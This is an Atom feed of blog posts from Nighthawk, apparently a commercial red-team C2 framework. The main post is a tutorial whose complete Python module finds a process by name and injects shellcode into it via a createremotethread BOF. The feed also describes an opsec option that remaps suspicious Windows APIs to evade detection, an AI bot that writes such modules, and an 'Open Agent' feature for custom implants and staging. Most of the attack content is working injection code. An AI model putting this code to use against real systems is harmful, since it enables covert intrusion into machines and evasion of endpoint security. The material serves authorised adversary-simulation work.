<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><generator uri="https://jekyllrb.com/" version="4.3.4">Jekyll</generator><link href="https://nighthawkc2.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://nighthawkc2.io/" rel="alternate" type="text/html" hreflang="en-US" /><updated>2026-02-05T10:34:12+00:00</updated><id>https://nighthawkc2.io/feed.xml</id><title type="html">Nighthawk C2</title><subtitle>Nighthawk is an advanced redteam toolkit, built with operational security in mind.</subtitle><author><name>Nighthawk C2</name><email>nighthawk [at] mdsec [dot] co [dot] uk</email></author><entry><title type="html">Extending Nighthawk with Python Modules</title><link href="https://nighthawkc2.io/extending-nighthawk-with-python-modules/" rel="alternate" type="text/html" title="Extending Nighthawk with Python Modules" /><published>2026-02-05T00:00:00+00:00</published><updated>2026-02-05T00:00:00+00:00</updated><id>https://nighthawkc2.io/extending-nighthawk-with-python-modules</id><content type="html" xml:base="https://nighthawkc2.io/extending-nighthawk-with-python-modules/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>In November ‘24 we added client-side scripting support inside the Nighthawk UI. This post serves as a working example of how to extend Nighthawk through these client side scripts.</p>

<p>As previously noted in the original release post, Nighthawk’s client-side scripting is implemented with Python, using <a href="https://github.com/pythonnet/pythonnet">PythonNet</a> and can assist in automating complex tasks or chaining commands together.</p>

<p>One of the interesting things about the client-side Python Modules is that they also have full access to the Nighthawk API. We discussed the Nighthawk API in a previous <a href="https://www.nighthawkc2.io/automating-operations/">post</a>, but hopefully this will reinforce how powerful and extensible Nighthawk can be, particularly when it comes to automation. As the API is accessible via client-side scripting, it means that all built-in commands, such as <code class="language-plaintext highlighter-rouge">whoami</code>, <code class="language-plaintext highlighter-rouge">ls</code> and more can be executed within client-side Python modules, as well as being chained, if required, with execution of external tools such as BOFs, PEs and .NET assemblies.</p>

<h1 id="building-an-example">Building an Example</h1>

<p>Let’s look at a practical example of creating a Python Module that registers a new command which gets a process listing via the Nighthawk API, searches for a specific process by name, extracts the PID, then uses a BOF to inject in to the process.</p>

<p>To do this, we’ll create a new function called <code class="language-plaintext highlighter-rouge">icmd_inject_by_name</code> which takes two arguments, the list of params and an instance of the <code class="language-plaintext highlighter-rouge">AgentInfo</code> class which contains the relevant information about the agent. This is the function that will be executed when a newly registered command is associated with it.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">def</span> <span class="nf">icmd_inject_by_name</span><span class="p">(</span><span class="nx">params</span><span class="p">,</span> <span class="nx">info</span><span class="p">):</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="nx">params</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span> <span class="nx">or</span> <span class="nf">len</span><span class="p">(</span><span class="nx">params</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">2</span><span class="p">:</span>
        <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">console_write</span><span class="p">(</span><span class="nx">CONSOLE_ERROR</span><span class="p">,</span>
            <span class="dl">"</span><span class="s2">Usage: inject_by_name &lt;PROCESS_NAME&gt; &lt;SHELLCODE_FILE&gt;</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">return</span>

    <span class="nx">target_name</span> <span class="o">=</span> <span class="nx">params</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
    <span class="nx">shellcode_path</span> <span class="o">=</span> <span class="nx">params</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</code></pre></div></div>

<p>Within our function, we can pull a process listing from the endpoint using the <code class="language-plaintext highlighter-rouge">api.ps</code> method. This method will return a json response where we can extract the <code class="language-plaintext highlighter-rouge">['CommandResponse']['Processes']</code> node to get the process listing, then simply iterate through the list of processes until we find any that match the process we’re interested in, and print the results in the beacon console:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="err">#</span> <span class="nx">run</span> <span class="nx">ps</span> <span class="kd">with</span> <span class="nx">detailed</span> <span class="nx">information</span> <span class="k">in</span> <span class="nx">sync</span> <span class="nx">mode</span>
    <span class="err">#</span> <span class="nx">positional</span> <span class="nx">args</span><span class="p">:</span> <span class="nx">injectable_only</span><span class="p">,</span> <span class="nx">detailed_information</span><span class="p">,</span> <span class="nx">skip_process_names</span><span class="p">,</span>
    <span class="err">#</span>                  <span class="nx">client_id</span><span class="p">,</span> <span class="nx">message_id</span><span class="p">,</span> <span class="nx">show_in_console</span><span class="p">,</span> <span class="nx">sync</span>
    <span class="nx">result</span> <span class="o">=</span> <span class="nx">api</span><span class="p">.</span><span class="nf">ps</span><span class="p">(</span><span class="nx">False</span><span class="p">,</span> <span class="nx">True</span><span class="p">,</span> <span class="p">[],</span> <span class="nx">None</span><span class="p">,</span> <span class="nx">None</span><span class="p">,</span> <span class="nx">False</span><span class="p">,</span> <span class="nx">True</span><span class="p">)</span>
    <span class="nx">result</span> <span class="o">=</span> <span class="nx">json</span><span class="p">.</span><span class="nf">loads</span><span class="p">(</span><span class="nx">result</span><span class="p">)</span>
    <span class="nx">processes</span> <span class="o">=</span> <span class="nx">result</span><span class="p">[</span><span class="dl">'</span><span class="s1">CommandResponse</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">Processes</span><span class="dl">'</span><span class="p">]</span>

    <span class="err">#</span> <span class="nx">find</span> <span class="nx">all</span> <span class="nx">matching</span> <span class="nf">processes </span><span class="p">(</span><span class="k">case</span><span class="o">-</span><span class="nx">insensitive</span><span class="p">)</span>
    <span class="nx">matches</span> <span class="o">=</span> <span class="p">[</span>
        <span class="nx">p</span> <span class="k">for</span> <span class="nx">p</span> <span class="k">in</span> <span class="nx">processes</span>
        <span class="k">if</span> <span class="nx">p</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">ImageName</span><span class="dl">'</span><span class="p">,</span> <span class="dl">''</span><span class="p">).</span><span class="nf">lower</span><span class="p">()</span> <span class="o">==</span> <span class="nx">target_name</span><span class="p">.</span><span class="nf">lower</span><span class="p">()</span>
    <span class="p">]</span>

    <span class="k">if</span> <span class="nx">not</span> <span class="nx">matches</span><span class="p">:</span>
        <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">console_write</span><span class="p">(</span><span class="nx">CONSOLE_ERROR</span><span class="p">,</span>
            <span class="nx">f</span><span class="dl">"</span><span class="s2">No process found with name: {target_name}</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">return</span>

    <span class="err">#</span> <span class="nx">display</span> <span class="nx">all</span> <span class="nx">matches</span>
    <span class="nx">lines</span> <span class="o">=</span> <span class="p">[</span><span class="nx">f</span><span class="dl">"</span><span class="s2">Found {len(matches)} matching process(es):</span><span class="dl">"</span><span class="p">]</span>
    <span class="k">for</span> <span class="nx">p</span> <span class="k">in</span> <span class="nx">matches</span><span class="p">:</span>
        <span class="nx">fields</span> <span class="o">=</span> <span class="p">[</span><span class="nx">f</span><span class="dl">"</span><span class="s2">PID: {p['ProcessId']}</span><span class="dl">"</span><span class="p">]</span>
        <span class="k">if</span> <span class="dl">'</span><span class="s1">ParentProcessId</span><span class="dl">'</span> <span class="k">in</span> <span class="nx">p</span><span class="p">:</span>
            <span class="nx">fields</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">PPID: {p['ParentProcessId']}</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">if</span> <span class="dl">'</span><span class="s1">SessionId</span><span class="dl">'</span> <span class="k">in</span> <span class="nx">p</span><span class="p">:</span>
            <span class="nx">fields</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">Session: {p['SessionId']}</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">if</span> <span class="dl">'</span><span class="s1">UserName</span><span class="dl">'</span> <span class="k">in</span> <span class="nx">p</span><span class="p">:</span>
            <span class="nx">fields</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">User: {p['UserName']}</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">if</span> <span class="dl">'</span><span class="s1">Arch</span><span class="dl">'</span> <span class="k">in</span> <span class="nx">p</span><span class="p">:</span>
            <span class="nx">fields</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">Arch: {p['Arch']}</span><span class="dl">"</span><span class="p">)</span>
        <span class="nx">lines</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">  {', '.join(fields)}</span><span class="dl">"</span><span class="p">)</span>
    <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">console_write</span><span class="p">(</span><span class="nx">CONSOLE_INFO</span><span class="p">,</span> <span class="dl">'</span><span class="se">\n</span><span class="dl">'</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="nx">lines</span><span class="p">))</span>
</code></pre></div></div>

<p>Once we’ve found a matching process, we’ll take the PID of the first (because YOLO), read some shellcode from disk (using our custom <code class="language-plaintext highlighter-rouge">_inj_read_local_file</code>  helper) then load the BOF file (using another custom helper <code class="language-plaintext highlighter-rouge">_inj_load_bof</code>):</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="err">#</span> <span class="nx">use</span> <span class="nx">the</span> <span class="nx">first</span> <span class="nx">match</span>
    <span class="nx">pid</span> <span class="o">=</span> <span class="nx">matches</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="dl">'</span><span class="s1">ProcessId</span><span class="dl">'</span><span class="p">]</span>
    <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">console_write</span><span class="p">(</span><span class="nx">CONSOLE_INFO</span><span class="p">,</span>
        <span class="nx">f</span><span class="dl">"</span><span class="s2">Targeting PID: {pid} ({matches[0].get('ImageName', '')})</span><span class="dl">"</span><span class="p">)</span>

    <span class="err">#</span> <span class="nx">read</span> <span class="nx">shellcode</span> <span class="k">from</span> <span class="nx">operator</span><span class="dl">'</span><span class="s1">s local file
    shellcode = _inj_read_local_file(shellcode_path)
    if shellcode is None:
        return

    nighthawk.console_write(CONSOLE_INFO,
        f"Loaded {len(shellcode)} bytes of shellcode from {shellcode_path}")

    # load the createremotethread BOF
    bof_data = _inj_load_bof(info, "createremotethread")
    if bof_data is None:
        return
</span></code></pre></div></div>

<p>One of the great things about Nighthawk’s BOF loader is it fully supports Cobalt Strike’s Beacon API, meaning that users can take advantage of the many open source community BOFs. There is however a little twist in this though, in that the Nighthawk BOF loader supports an <code class="language-plaintext highlighter-rouge">enable_opsec</code> argument, which if set to <code class="language-plaintext highlighter-rouge">True</code> (the 5th argument to <code class="language-plaintext highlighter-rouge">api.execute_bof</code>), will tell the loader to remap any suspicious Windows APIs (eg. VirtualProtect, VirtualAlloc etc) to Nighthawk’s opsec equivalents.</p>

<p>For this example, we’re going to use the TrustedSec <code class="language-plaintext highlighter-rouge">createremotethread</code> <a href="https://github.com/trustedsec/CS-Remote-OPs-BOF/tree/main/Injection/createremotethread">BOF</a>, which takes two arguments, the PID and the shellcode bytes. To apply this in Nighthawk, we need to use the <code class="language-plaintext highlighter-rouge">Packer</code> class, which allows you to pack arguments of various types before passing them to the method that performs execution (in this case a BOF with <code class="language-plaintext highlighter-rouge">execute_bof</code>):</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="err">#</span> <span class="nx">pack</span> <span class="nx">arguments</span><span class="p">:</span> <span class="nx">i</span> <span class="o">=</span> <span class="nx">uint32</span> <span class="nx">PID</span><span class="p">,</span> <span class="nx">b</span> <span class="o">=</span> <span class="nx">shellcode</span> <span class="nx">bytes</span>
    <span class="nx">p</span> <span class="o">=</span> <span class="nc">Packer</span><span class="p">()</span>
    <span class="nx">p</span><span class="p">.</span><span class="nf">adduint32</span><span class="p">(</span><span class="nx">pid</span><span class="p">)</span>
    <span class="nx">p</span><span class="p">.</span><span class="nf">addbytes</span><span class="p">(</span><span class="nx">shellcode</span><span class="p">)</span>

    <span class="err">#</span> <span class="nx">execute</span>
    <span class="nx">arch</span> <span class="o">=</span> <span class="nx">info</span><span class="p">.</span><span class="nx">Agent</span><span class="p">.</span><span class="nx">ProcessArch</span>
    <span class="nx">api</span><span class="p">.</span><span class="nf">execute_bof</span><span class="p">(</span>
        <span class="nx">f</span><span class="dl">"</span><span class="s2">createremotethread.{arch}.o</span><span class="dl">"</span><span class="p">,</span> <span class="nx">bof_data</span><span class="p">,</span> <span class="nx">p</span><span class="p">.</span><span class="nf">getbuffer</span><span class="p">(),</span>
        <span class="dl">"</span><span class="s2">go</span><span class="dl">"</span><span class="p">,</span> <span class="nx">True</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">False</span><span class="p">,</span> <span class="dl">""</span><span class="p">,</span> <span class="nx">show_in_console</span><span class="o">=</span><span class="nx">True</span><span class="p">,</span>
    <span class="p">)</span>
</code></pre></div></div>

<p>To register the command within the Nighthawk UI, where it’ll be visible in the <code class="language-plaintext highlighter-rouge">help</code> menu and to support tab completion, we can use the <code class="language-plaintext highlighter-rouge">nighthawk.register_command</code> method, as follows:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">nighthawk</span><span class="p">.</span><span class="nf">register_command</span><span class="p">(</span><span class="nx">icmd_inject_by_name</span><span class="p">,</span> <span class="dl">"</span><span class="s2">inject_by_name</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Finds a process by name using ps (detailed) and injects shellcode </span><span class="dl">"</span>
    <span class="dl">"</span><span class="s2">into the first matching PID using the createremotethread BOF</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">Find process by name and inject shellcode via createremotethread</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">inject_by_name &lt;PROCESS_NAME&gt; &lt;SHELLCODE_FILE&gt;</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">inject_by_name notepad.exe C:</span><span class="se">\\</span><span class="s2">shellcode.bin</span><span class="dl">"</span><span class="p">)</span>

</code></pre></div></div>

<p>The complete example can be found below:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">json</span>

<span class="err">#</span> <span class="o">---------------------------------------------------------------------------</span>
<span class="err">#</span> <span class="nx">Helpers</span>
<span class="err">#</span> <span class="o">---------------------------------------------------------------------------</span>

<span class="nx">def</span> <span class="nf">_inj_load_bof</span><span class="p">(</span><span class="nx">info</span><span class="p">,</span> <span class="nx">bof_name</span><span class="p">):</span>
    <span class="dl">"""</span><span class="s2">Load BOF binary for the agent's architecture.</span><span class="dl">"""</span>
    <span class="nx">arch</span> <span class="o">=</span> <span class="nx">info</span><span class="p">.</span><span class="nx">Agent</span><span class="p">.</span><span class="nx">ProcessArch</span>
    <span class="nx">path</span> <span class="o">=</span> <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">script_resource</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">{bof_name}/{bof_name}.{arch}.o</span><span class="dl">"</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="kd">with</span> <span class="nf">open</span><span class="p">(</span><span class="nx">path</span><span class="p">,</span> <span class="dl">"</span><span class="s2">rb</span><span class="dl">"</span><span class="p">)</span> <span class="nx">as</span> <span class="nx">f</span><span class="p">:</span>
            <span class="nx">data</span> <span class="o">=</span> <span class="nx">f</span><span class="p">.</span><span class="nf">read</span><span class="p">()</span>
        <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
            <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">console_write</span><span class="p">(</span><span class="nx">CONSOLE_ERROR</span><span class="p">,</span> <span class="nx">f</span><span class="dl">"</span><span class="s2">BOF file is empty: {path}</span><span class="dl">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="nx">None</span>
        <span class="k">return</span> <span class="nx">data</span>
    <span class="nx">except</span> <span class="nx">Exception</span><span class="p">:</span>
        <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">console_write</span><span class="p">(</span><span class="nx">CONSOLE_ERROR</span><span class="p">,</span> <span class="nx">f</span><span class="dl">"</span><span class="s2">Could not read BOF file: {path}</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="nx">None</span>

<span class="nx">def</span> <span class="nf">_inj_read_local_file</span><span class="p">(</span><span class="nx">filepath</span><span class="p">):</span>
    <span class="dl">"""</span><span class="s2">Read a local file and return its bytes, or None on error.</span><span class="dl">"""</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="kd">with</span> <span class="nf">open</span><span class="p">(</span><span class="nx">filepath</span><span class="p">,</span> <span class="dl">"</span><span class="s2">rb</span><span class="dl">"</span><span class="p">)</span> <span class="nx">as</span> <span class="nx">f</span><span class="p">:</span>
            <span class="nx">data</span> <span class="o">=</span> <span class="nx">f</span><span class="p">.</span><span class="nf">read</span><span class="p">()</span>
        <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
            <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">console_write</span><span class="p">(</span><span class="nx">CONSOLE_ERROR</span><span class="p">,</span> <span class="nx">f</span><span class="dl">"</span><span class="s2">File is empty: {filepath}</span><span class="dl">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="nx">None</span>
        <span class="k">return</span> <span class="nx">data</span>
    <span class="nx">except</span> <span class="nx">Exception</span><span class="p">:</span>
        <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">console_write</span><span class="p">(</span><span class="nx">CONSOLE_ERROR</span><span class="p">,</span> <span class="nx">f</span><span class="dl">"</span><span class="s2">Could not read file: {filepath}</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="nx">None</span>

<span class="err">#</span> <span class="o">---------------------------------------------------------------------------</span>
<span class="err">#</span> <span class="nx">Command</span> <span class="nx">Handler</span>
<span class="err">#</span> <span class="o">---------------------------------------------------------------------------</span>

<span class="nx">def</span> <span class="nf">icmd_inject_by_name</span><span class="p">(</span><span class="nx">params</span><span class="p">,</span> <span class="nx">info</span><span class="p">):</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="nx">params</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span> <span class="nx">or</span> <span class="nf">len</span><span class="p">(</span><span class="nx">params</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">2</span><span class="p">:</span>
        <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">console_write</span><span class="p">(</span><span class="nx">CONSOLE_ERROR</span><span class="p">,</span>
            <span class="dl">"</span><span class="s2">Usage: inject_by_name &lt;PROCESS_NAME&gt; &lt;SHELLCODE_FILE&gt;</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">return</span>

    <span class="nx">target_name</span> <span class="o">=</span> <span class="nx">params</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
    <span class="nx">shellcode_path</span> <span class="o">=</span> <span class="nx">params</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>

    <span class="err">#</span> <span class="nx">run</span> <span class="nx">ps</span> <span class="kd">with</span> <span class="nx">detailed</span> <span class="nx">information</span> <span class="k">in</span> <span class="nx">sync</span> <span class="nx">mode</span>
    <span class="err">#</span> <span class="nx">positional</span> <span class="nx">args</span><span class="p">:</span> <span class="nx">injectable_only</span><span class="p">,</span> <span class="nx">detailed_information</span><span class="p">,</span> <span class="nx">skip_process_names</span><span class="p">,</span>
    <span class="err">#</span>                  <span class="nx">client_id</span><span class="p">,</span> <span class="nx">message_id</span><span class="p">,</span> <span class="nx">show_in_console</span><span class="p">,</span> <span class="nx">sync</span>
    <span class="nx">result</span> <span class="o">=</span> <span class="nx">api</span><span class="p">.</span><span class="nf">ps</span><span class="p">(</span><span class="nx">False</span><span class="p">,</span> <span class="nx">True</span><span class="p">,</span> <span class="p">[],</span> <span class="nx">None</span><span class="p">,</span> <span class="nx">None</span><span class="p">,</span> <span class="nx">False</span><span class="p">,</span> <span class="nx">True</span><span class="p">)</span>
    <span class="nx">result</span> <span class="o">=</span> <span class="nx">json</span><span class="p">.</span><span class="nf">loads</span><span class="p">(</span><span class="nx">result</span><span class="p">)</span>
    <span class="nx">processes</span> <span class="o">=</span> <span class="nx">result</span><span class="p">[</span><span class="dl">'</span><span class="s1">CommandResponse</span><span class="dl">'</span><span class="p">][</span><span class="dl">'</span><span class="s1">Processes</span><span class="dl">'</span><span class="p">]</span>

    <span class="err">#</span> <span class="nx">find</span> <span class="nx">all</span> <span class="nx">matching</span> <span class="nf">processes </span><span class="p">(</span><span class="k">case</span><span class="o">-</span><span class="nx">insensitive</span><span class="p">)</span>
    <span class="nx">matches</span> <span class="o">=</span> <span class="p">[</span>
        <span class="nx">p</span> <span class="k">for</span> <span class="nx">p</span> <span class="k">in</span> <span class="nx">processes</span>
        <span class="k">if</span> <span class="nx">p</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">ImageName</span><span class="dl">'</span><span class="p">,</span> <span class="dl">''</span><span class="p">).</span><span class="nf">lower</span><span class="p">()</span> <span class="o">==</span> <span class="nx">target_name</span><span class="p">.</span><span class="nf">lower</span><span class="p">()</span>
    <span class="p">]</span>

    <span class="k">if</span> <span class="nx">not</span> <span class="nx">matches</span><span class="p">:</span>
        <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">console_write</span><span class="p">(</span><span class="nx">CONSOLE_ERROR</span><span class="p">,</span>
            <span class="nx">f</span><span class="dl">"</span><span class="s2">No process found with name: {target_name}</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">return</span>

    <span class="err">#</span> <span class="nx">display</span> <span class="nx">all</span> <span class="nx">matches</span>
    <span class="nx">lines</span> <span class="o">=</span> <span class="p">[</span><span class="nx">f</span><span class="dl">"</span><span class="s2">Found {len(matches)} matching process(es):</span><span class="dl">"</span><span class="p">]</span>
    <span class="k">for</span> <span class="nx">p</span> <span class="k">in</span> <span class="nx">matches</span><span class="p">:</span>
        <span class="nx">fields</span> <span class="o">=</span> <span class="p">[</span><span class="nx">f</span><span class="dl">"</span><span class="s2">PID: {p['ProcessId']}</span><span class="dl">"</span><span class="p">]</span>
        <span class="k">if</span> <span class="dl">'</span><span class="s1">ParentProcessId</span><span class="dl">'</span> <span class="k">in</span> <span class="nx">p</span><span class="p">:</span>
            <span class="nx">fields</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">PPID: {p['ParentProcessId']}</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">if</span> <span class="dl">'</span><span class="s1">SessionId</span><span class="dl">'</span> <span class="k">in</span> <span class="nx">p</span><span class="p">:</span>
            <span class="nx">fields</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">Session: {p['SessionId']}</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">if</span> <span class="dl">'</span><span class="s1">UserName</span><span class="dl">'</span> <span class="k">in</span> <span class="nx">p</span><span class="p">:</span>
            <span class="nx">fields</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">User: {p['UserName']}</span><span class="dl">"</span><span class="p">)</span>
        <span class="k">if</span> <span class="dl">'</span><span class="s1">Arch</span><span class="dl">'</span> <span class="k">in</span> <span class="nx">p</span><span class="p">:</span>
            <span class="nx">fields</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">Arch: {p['Arch']}</span><span class="dl">"</span><span class="p">)</span>
        <span class="nx">lines</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="nx">f</span><span class="dl">"</span><span class="s2">  {', '.join(fields)}</span><span class="dl">"</span><span class="p">)</span>
    <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">console_write</span><span class="p">(</span><span class="nx">CONSOLE_INFO</span><span class="p">,</span> <span class="dl">'</span><span class="se">\n</span><span class="dl">'</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="nx">lines</span><span class="p">))</span>

    <span class="err">#</span> <span class="nx">use</span> <span class="nx">the</span> <span class="nx">first</span> <span class="nx">match</span>
    <span class="nx">pid</span> <span class="o">=</span> <span class="nx">matches</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="dl">'</span><span class="s1">ProcessId</span><span class="dl">'</span><span class="p">]</span>
    <span class="nx">nighthawk</span><span class="p">.</span><span class="nf">console_write</span><span class="p">(</span><span class="nx">CONSOLE_INFO</span><span class="p">,</span>
        <span class="nx">f</span><span class="dl">"</span><span class="s2">Targeting PID: {pid} ({matches[0].get('ImageName', '')})</span><span class="dl">"</span><span class="p">)</span>

    <span class="err">#</span> <span class="nx">read</span> <span class="nx">shellcode</span> <span class="k">from</span> <span class="nx">operator</span><span class="dl">'</span><span class="s1">s local file
    shellcode = _inj_read_local_file(shellcode_path)
    if shellcode is None:
        return

    nighthawk.console_write(CONSOLE_INFO,
        f"Loaded {len(shellcode)} bytes of shellcode from {shellcode_path}")

    # load the createremotethread BOF
    bof_data = _inj_load_bof(info, "createremotethread")
    if bof_data is None:
        return

    # pack arguments: i = uint32 PID, b = shellcode bytes
    p = Packer()
    p.adduint32(pid)
    p.addbytes(shellcode)

    # execute
    arch = info.Agent.ProcessArch
    api.execute_bof(
        f"createremotethread.{arch}.o", bof_data, p.getbuffer(),
        "go", True, 0, False, "", show_in_console=True,
    )

# ---------------------------------------------------------------------------
# Registration
# ---------------------------------------------------------------------------

nighthawk.register_command(icmd_inject_by_name, "inject_by_name",
    "Finds a process by name using ps (detailed) and injects shellcode "
    "into the first matching PID using the createremotethread BOF",
    "Find process by name and inject shellcode via createremotethread",
    "inject_by_name &lt;PROCESS_NAME&gt; &lt;SHELLCODE_FILE&gt;",
    "inject_by_name notepad.exe C:</span><span class="se">\\</span><span class="s1">shellcode.bin")

</span></code></pre></div></div>

<p>In action, the new command would look something like this:</p>

<p><img src="/assets/img/nh_bof.png" /></p>

<p>A similar approach to the above can also be taken from .NET assemblies and native EXEs, using the <code class="language-plaintext highlighter-rouge">api.inproc_execute_assembly</code> and <code class="language-plaintext highlighter-rouge">api.execute_exe</code> methods.</p>

<p>As a bonus, we also recently released <code class="language-plaintext highlighter-rouge">HawkEye</code> to customers, an AI Slack bot powered by Opus 4.5 that uses RAG to create a knowledge base of the documentation and code samples. Interestingly, <code class="language-plaintext highlighter-rouge">HawkEye</code> was trivially also able to build Python Modules using simple prompts, such as the following where we ask it to make a new command that runs the <code class="language-plaintext highlighter-rouge">whoami</code> BOF:</p>

<p><img src="/assets/img/hawkeye1.png" /></p>

<p>What was more impressive was that it also provide an alternative implementation that simply printed the results of the BOF rather than parsing them through a callback:</p>

<p><img src="/assets/img/hawkeye2.png" /></p>

<p>To assist in your Nighthawk Python Module development, we’ve provided CNA ports for TrustedSec’s Situational Awareness, Injection and Remote Ops BOFs; pull requests are available <a href="https://github.com/trustedsec/CS-Remote-OPs-BOF/pull/56">here</a> and <a href="https://github.com/trustedsec/CS-Situational-Awareness-BOF/pull/150">here</a>.</p>]]></content><author><name>Nighthawk C2</name><email>nighthawk [at] mdsec [dot] co [dot] uk</email></author><category term="nighthawk" /><category term="Automation" /><category term="c2" /><category term="redteam" /><category term="adversary simulation" /><summary type="html"><![CDATA[Nighthawk, Automation]]></summary></entry><entry><title type="html">Nighthawk 0.4 – Janus</title><link href="https://nighthawkc2.io/janus/" rel="alternate" type="text/html" title="Nighthawk 0.4 – Janus" /><published>2025-09-24T01:00:00+01:00</published><updated>2025-09-24T01:00:00+01:00</updated><id>https://nighthawkc2.io/janus</id><content type="html" xml:base="https://nighthawkc2.io/janus/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p><img src="/assets/img/janus.png" /></p>

<p>If you’ve been following our trajectory over the past 12 months, you will have noticed some of the significant design and architecture changes we’ve been making. The largest of which was the full rewrite of the backend teamserver and introduction of JSON RPC APIs which we’ve discussed in previous posts. One of the key drivers for these changes was to pre-position the framework for what we’ll be releasing in Nighthawk 0.4, which will be soon released customers over the coming weeks.</p>

<h2 id="open-for-business">Open For Business</h2>

<p>Red Team Operations are multi-faceted, and adaptability is a key requirement for ensuring continued success. It is not unusual during an operation to find yourself with execution on a variety of different platforms outside of the traditional Windows environments. There are also from time to time circumstances where you might also find yourself in scenarios where its preferable to have your agent execution in a specific language, for example to be able to blend in to the environment.</p>

<p>The ability to develop your own custom agents, and have them integrated in to a single backend API, is therefore a beneficial model for operators. This concept is supported inside the open source Mythic framework, and it’s an idea we’ve always admired.</p>

<p>Such flexibility promotes staging, a concept that is heavily used in our own red team engagements as you’ll find out in latter sections of this post.</p>

<p>With Nighthawk 0.4, we introduced a new feature we’re labelling “Open Agent”; another Nighthawk first for commercial C2s. Open Agent allows you to develop and integrate your own agents, whether they’re complete agents or stage 1s, in to Nighthawk. Open Agents will communicate with Nighthawk backend API and appear in the UI, where they can be controlled, in the same way as the Nighthawk C2 agent.</p>

<p><img src="/assets/img/openagentmeme.png" /></p>

